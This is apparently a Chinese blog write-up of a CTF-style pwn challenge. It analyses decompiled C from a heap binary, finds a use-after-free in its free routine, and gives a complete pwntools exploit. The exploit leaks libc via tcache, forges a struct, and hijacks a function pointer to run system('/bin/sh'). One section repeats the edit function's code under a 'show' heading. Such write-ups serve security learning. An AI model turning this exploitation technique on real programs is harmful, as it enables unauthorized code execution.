mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6
212 字
1 分钟
425考核wp
2026-04-25

分析#

~#@❯ checksec ./chall2
[*] '/home/yoyo/yoyo_dir/MyProject/aboutPwn/work2/chall2/chall2'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No

将文件拖入 ida 发现如下重要函数

  1. 分配 chunk1
void register_evidence()
{
unsigned __int64 size; // [rsp+8h] [rbp-18h]
void **s; // [rsp+10h] [rbp-10h]
unsigned int n8; // [rsp+1Ch] [rbp-4h]
n8 = choose_slot();
if ( n8 < 8 )
{
if ( db[n8] )
{
puts("slot already occupied");
}
else
{
s = (void **)malloc(0x38u);
if ( !s )
exit(1);
memset(s, 0, 0x38u);
puts("Evidence ID:");
read_line(s, 32);
puts("Description size:");
size = read_size();
if ( size && size <= 0x100 )
{
s[4] = malloc(size);
if ( !s[4] )
exit(1);
memset(s[4], 0, size);
s[5] = (void *)size;
s[6] = default_report;
puts("Description:");
read_line(s[4], s[5]);
db[n8] = s;
puts("recorded");
}
else
{
puts("invalid size");
free(s);
}
}
}
else
{
puts("invalid index");
}
}

这里可以发现这里可以分配一个db结构体,通过分析发现结构体的结构如下

struct db
char [0x20] EvidenceID
(char*) [8] des
size [8] des_size
(void*)()[8] handler = defualt_report

其中 des 是一个可以自定义大小范围为0x1 ~ 0x100大小的chunk

  1. free
int destroy_evidence()
{
unsigned int n8; // [rsp+Ch] [rbp-4h]
n8 = choose_slot();
if ( n8 >= 8 || !db[n8] )
return puts("not found");
free(*(void **)(db[n8] + 32LL));
free((void *)db[n8]);
return puts("destroyed");
}

这里是释放函数,但是在释放没有置0结构体,所以存在uaf, 同时结合前面的申请函数,可以知道我们最多可以通过register_evidence 申请8次 chunk

  1. 分配chunk2
int import_template()
{
char buf; // [rsp+Fh] [rbp-1h] BYREF
puts("Template size:");
template_size = read_size();
if ( !template_size || template_size > 0x80 )
return puts("invalid size");
if ( template_buf )
{
free(template_buf);
template_buf = 0;
}
template_buf = malloc(template_size);
if ( !template_buf )
exit(1);
puts("Template bytes:");
read_exact(template_buf, template_size);
if ( read(0, &buf, 1u) <= 0 )
exit(0);
return puts("template imported");
}

这里可以看到又是一个分配chunk的函数但是每次分配后会置 0, 但是可以重新分配

  1. 执行 handler
int generate_report()
{
unsigned int n8; // [rsp+Ch] [rbp-4h]
n8 = choose_slot();
if ( n8 < 8 && db[n8] )
return (*(__int64 (__fastcall **)(_QWORD))(db[n8] + 48LL))(db[n8]);
else
return puts("not found");
}
  1. 修改 des
int edit_evidence()
{
__int64 v1; // [rsp+0h] [rbp-10h]
unsigned int n8; // [rsp+Ch] [rbp-4h]
n8 = choose_slot();
if ( n8 >= 8 || !db[n8] )
return puts("not found");
v1 = db[n8];
puts("New description:");
read_line(*(_QWORD *)(v1 + 32), *(_QWORD *)(v1 + 40));
return puts("updated");
}
  1. 展示 des chunk
int edit_evidence()
{
__int64 v1; // [rsp+0h] [rbp-10h]
unsigned int n8; // [rsp+Ch] [rbp-4h]
n8 = choose_slot();
if ( n8 >= 8 || !db[n8] )
return puts("not found");
v1 = db[n8];
puts("New description:");
read_line(*(_QWORD *)(v1 + 32), *(_QWORD *)(v1 + 40));
return puts("updated");
}

由于这个题目的libc 版本是 2.34 存在 tceche 所以需要绕过

所以得出如下利用思路

1. 填满 tceche
2. 泄露出 libc 地址
3. 伪造db结构体劫持 handler函数

exp#

于是可以得出如下exp

from pwn import *
file = "./chall2_patched"
host = "127.0.0.1"
port = 1234
libcf = "./libc.so.6"
is_remote = False
context.log_level = "debug"
context.binary = file
if is_remote:
p = remote(host, port)
else:
p = process(file)
elf = ELF(file)
rop = ROP(elf)
libc = ELF(libcf)
def menu(index: int):
global p
p.recvuntil(b">\n")
p.sendline(str(index).encode())
def choose_slot(index: int):
global p
p.recvuntil(b"Index:")
p.sendline(str(index).encode())
def register_evidence(index: int, eid: bytes, size: int, des: bytes):
global p
menu(1)
choose_slot(index)
p.recvuntil(b"Evidence ID:\n")
p.sendline(eid)
p.recvuntil(b"Description size:")
p.sendline(str(size).encode())
p.recvuntil(b"Description:")
p.sendline(des)
def show_evidence(index: int):
global p
menu(2)
choose_slot(index)
def edit_evidence(index: int, des: bytes):
global p
menu(3)
choose_slot(index)
p.recvuntil(b"New description:\n")
p.sendline(des)
def destroy_evidence(index: int): # free
global p
menu(4)
choose_slot(index)
def generate_report(index: int): # run
global p
menu(5)
choose_slot(index)
def export_description(index: int):
global p
menu(6)
choose_slot(index)
def import_template(size: int, buf: bytes):
global p
menu(7)
p.recvuntil(b"Template size:\n")
p.sendline(str(size).encode())
p.recvuntil(b"Template bytes:\n")
p.sendline(buf)
log.info(f"================")
"""
struct db: id ->
EvidenceID: 0 (0x20 32)
des: 0x20 32 (8)
size: 0x28 (8)
handler = defualt_report
"""
for i in range(7):
register_evidence(i, b"", 0x80, b"")
import_template(0x80, cyclic(0x81))
import_template(0x20, cyclic(0x81))
for i in range(7):
destroy_evidence(i)
show_evidence(6)
p.recvuntil(b"Description: ")
leak_addr = p.recvuntil(b"\n").strip()
leak_db_chunk = u64(leak_addr.ljust(8, b"\x00"))
p.recvuntil(b"Report handler: ")
leak_addr = int(p.recvuntil(b"\n").strip(), 16)
pie_offset = 0x1486
libc_offset = 0x218cc0
elf_base = leak_addr - pie_offset
libc.address = leak_db_chunk - libc_offset
system_addr = libc.sym["system"]
# create fake db struct: 0x38
fake_db = flat(
{
0x0: b"/bin/sh\x00", # eid
0x20: p64(next(libc.search(b"/bin/sh\x00"))), # des some str
0x28: p64(0x100), # size
0x30: p64(system_addr)
},
filler = b"\x00",
length = 0x38
)
log.success(f"elf_base: {hex(elf_base)}")
log.success(f"leak_db_addr_0(Evdence ID 0): {hex(leak_db_chunk)}")
log.success(f"libc base: {hex(libc.address)}")
log.success(f"system: {hex(system_addr)}")
register_evidence(7, b"/bin/sh\x00", 0xff, b"")
destroy_evidence(7)
import_template(0x38, fake_db + b"aaaa")
generate_report(7)
p.interactive()
分享

如果这篇文章对你有帮助,欢迎分享给更多人!

425考核wp
https://yoyolp.github.io/posts/other/425wp/
作者
超级玉米人
发布于
2026-04-25
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

目录